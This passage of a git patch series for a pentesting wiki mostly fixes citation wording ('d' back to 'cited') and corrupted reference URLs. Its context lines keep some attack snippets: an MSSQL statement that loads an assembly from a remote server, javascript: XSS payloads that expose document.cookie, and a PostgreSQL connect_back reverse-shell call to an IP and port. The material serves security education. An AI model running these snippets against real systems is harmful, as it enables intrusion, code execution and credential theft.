pattern.[[1]](#references)[[3]](#references)[[4]](#references)
https://www.youtube.com/watch?v=iASSG0_zobQ

https://www.youtube.com/watch?v=kCXhIYtODBg

diff --git a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index 43db447d52b..a2d638c3906 100644 --- a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -61,7 +61,7 @@ In an authorized lab, obtain the following files from a provisioned client and p ## Version-specific vulnerabilities -The affected versions and impacts below come from the d CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) +The affected versions and impacts below come from the cited CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) | CVE | Affected versions | Impact | Notes | |-----|-------------------|--------|-------| diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index f1477c32453..9147edbb08d 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -110,7 +110,7 @@ Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay work - Avahi reachable-assertion bugs CVE-2023-38469 through CVE-2023-38473 and the D-Bus-related CVE-2023-1981 can terminate `avahi-daemon` on affected distributions, disrupting service discovery until it restarts. The exact vectors differ; install the distribution's fixed Avahi package rather than treating the identifiers as one network exploit.[[12]](#references) - Cisco IOS XE Wireless LAN Controller mDNS gateway CVE-2024-20303 allows an unauthenticated adjacent WLAN attacker to send a sustained stream of crafted mDNS traffic, drive controller CPU high, and potentially disconnect AP tunnels. It is a disruptive DoS condition, not a general-purpose roaming primitive.[[4]](#references) - Apple mDNSResponder CVE-2024-44183 allowed a local app to cause denial of service. Apple addressed the logic error in iOS/iPadOS 18; consult the matching advisory for other Apple platform releases.[[5]](#references)[[15]](#references) -- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the d macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) +- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the cited macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) ### Browser/WebRTC mDNS considerations diff --git a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md index 88322fd6edf..98cd67638cb 100644 --- a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md +++ b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md @@ -122,7 +122,7 @@ Placing a symbolic link in *cupsd.conf*'s `Listen` directive can make `cupsd` (o 2. Disable `cups-browsed` and UDP/631 unless zeroconf printing is required. 3. Restrict TCP/631 to trusted subnets/VPN and enforce **TLS (ipps://)**. 4. Require **Kerberos/Negotiate** or certificate auth instead of anonymous printing. -5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolid PPD downloads or suspicious filter invocations. +5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolicited PPD downloads or suspicious filter invocations. 6. In high-security networks, move printing to a hardened, isolated print server that proxies jobs to devices via USB only. ## References diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index a6dab9ca54f..4cb73c19cc1 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -114,7 +114,7 @@ For `ldaps://` or successfully negotiated StartTLS, interception additionally re ### Bypass TLS SNI check -In the d environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) +In the cited environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index bcc49884338..12c86bc07c3 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -676,7 +676,7 @@ See [MSSQL user-defined function SQLHttp](../../pentesting-web/sql-injection/mss ### RCE with `autoadmin_task_agents` -According to the d research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) +According to the cited research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index 3796b7e56eb..b959fb62db4 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -350,7 +350,7 @@ Matching Modules ### Legacy SAP AS Java UME password hashes -With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The d research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) +With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The cited research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) - Test applicable known exploits (check Exploit-DB), including the old but noteworthy “SAP ConfigServlet Remote Code Execution” attack against SAP Portal: diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 82f221523bb..21e26f184b4 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} ## Overview -This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The d research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) +This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The cited research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple. @@ -286,7 +286,7 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b ## Throughput and Parallelism Notes - A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkaller’s internal async executor. -- The d setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) +- The cited setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) --- diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md index c8ff71a67a1..2fc6d059b99 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md @@ -105,7 +105,7 @@ Add the generated public key into your manifest.json to lock the ID: ## Forging Preferences integrity MACs (core bypass) -Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the d research.[[1]](#references)[[3]](#references) +Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the cited research.[[1]](#references)[[3]](#references) Extract the seed with GRIT pak_util[[2]](#references) and locate the seed container (file id 146 in tested builds): diff --git a/src/pentesting-web/h2c-smuggling.md b/src/pentesting-web/h2c-smuggling.md index 1d7623d97fe..c82737d0392 100644 --- a/src/pentesting-web/h2c-smuggling.md +++ b/src/pentesting-web/h2c-smuggling.md @@ -20,7 +20,7 @@ The vulnerability arises when, after upgrading a connection, the reverse proxy c #### Vulnerable Proxies -The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The d research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) +The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The cited research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) - HAProxy - Traefik @@ -60,7 +60,7 @@ In this scenario, a backend that offers a public WebSocket API alongside an inac 2. The backend responds with a status code `426`, indicating the incorrect protocol version in the `Sec-WebSocket-Version` header. The reverse proxy, overlooking the backend's response status, assumes readiness for WebSocket communication and relays the response to the client. 3. Consequently, the reverse proxy is misled into believing a WebSocket connection has been established between the client and backend, while in reality, the backend had rejected the Upgrade request. Despite this, the proxy maintains an open TCP or TLS connection between the client and backend, allowing the client unrestricted access to the private REST API through this connection. -The d research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) +The cited research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index f087f6962a8..17fb9ce6088 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -357,6 +357,6 @@ print(" drop function connect_back(text, integer);") - [2] [Having Fun With PostgreSQL](https://www.exploit-db.com/papers/13084) - [3] [PostgreSQL documentation - C-Language Functions](https://www.postgresql.org/docs/current/static/xfunc-c.html) - [4] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) -- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) +- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index b88fc1a96e5..302de220ccc 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -877,7 +877,7 @@ Some workflow builders evaluate user-controlled expressions inside Node sandboxe **More information** -- Slim uses the same Ruby SSTI payload collection d for ERB above; adapt the delimiters to the Slim rendering context. +- Slim uses the same Ruby SSTI payload collection cited for ERB above; adapt the delimiters to the Slim rendering context. ### Other Ruby diff --git a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md index dceebba63f5..674dc67ba57 100644 --- a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md +++ b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md @@ -4,7 +4,7 @@ ## Leak Script Content by Interpreting It as UTF-16 -If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the d challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) +If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the cited challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) ## Leak Content by Treating It as an ICO Image diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index 539abe8a1ce..fc655b7d530 100644 --- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -138,7 +138,7 @@ Fuzzing examples from [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:alert('XSS')) ![a'"`onerror=prompt(document.cookie)](x)\ -[lol]: (javascript:prompt(document.cookie)) +[citelol]: (javascript:prompt(document.cookie)) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [test](javascript://%0d%0aprompt(1)) [test](javascript://%0d%0aprompt(1);com) diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index 1b1b54fbb40..3cd1809ad7e 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -27,7 +27,7 @@ Many services still run under user accounts with hand-managed passwords. The KDC | AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 (`$krb5tgs$17$`, `$krb5tgs$18$`) | ~6.8 million guesses/s | Salt blocks rainbow tables but still allows fast cracking of short passwords. | | RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 (`$krb5tgs$23$`) | ~4.18 **billion** guesses/s | ~1000× faster than AES; attackers force RC4 whenever `msDS-SupportedEncryptionTypes` permits it. | -*Benchmarks from Chick3nman as d in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) +*Benchmarks from Chick3nman as cited in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) RC4’s confounder only randomizes the keystream; it does not add work per guess. Unless service accounts rely on random secrets (gMSA/dMSA, machine accounts, or vault-managed strings), compromise speed is purely GPU budget. Enforcing AES-only etypes removes the billion-guesses-per-second downgrade, but weak human passwords still fall to PBKDF2.[[3]](#references) diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md index a1e16221e46..f3eea43e465 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md +++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the d scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) +This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the cited scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) For a comprehensive understanding of wix MSI usage examples, it is advisable to consult [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Here, you can find various examples that demonstrate the usage of wix MSI.[[2]](#references) From a931bb1eb341d422e7f04bc91179a1cfc8ee783b Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:37:46 +0200 Subject: [PATCH 3/3] Restore URLs corrupted by citation cleanup --- .../postgresql-injection/rce-with-postgresql-extensions.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index 17fb9ce6088..3a241e0a5b7 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -309,8 +309,8 @@ select connect_back('192.168.100.54', 1234); _Note that you don't need to append the `.dll` extension as the create function will add it._ -For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ -In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ +For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ +In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ In the same page this **exploit to automate** this technique was given:[[5]](#references) ```python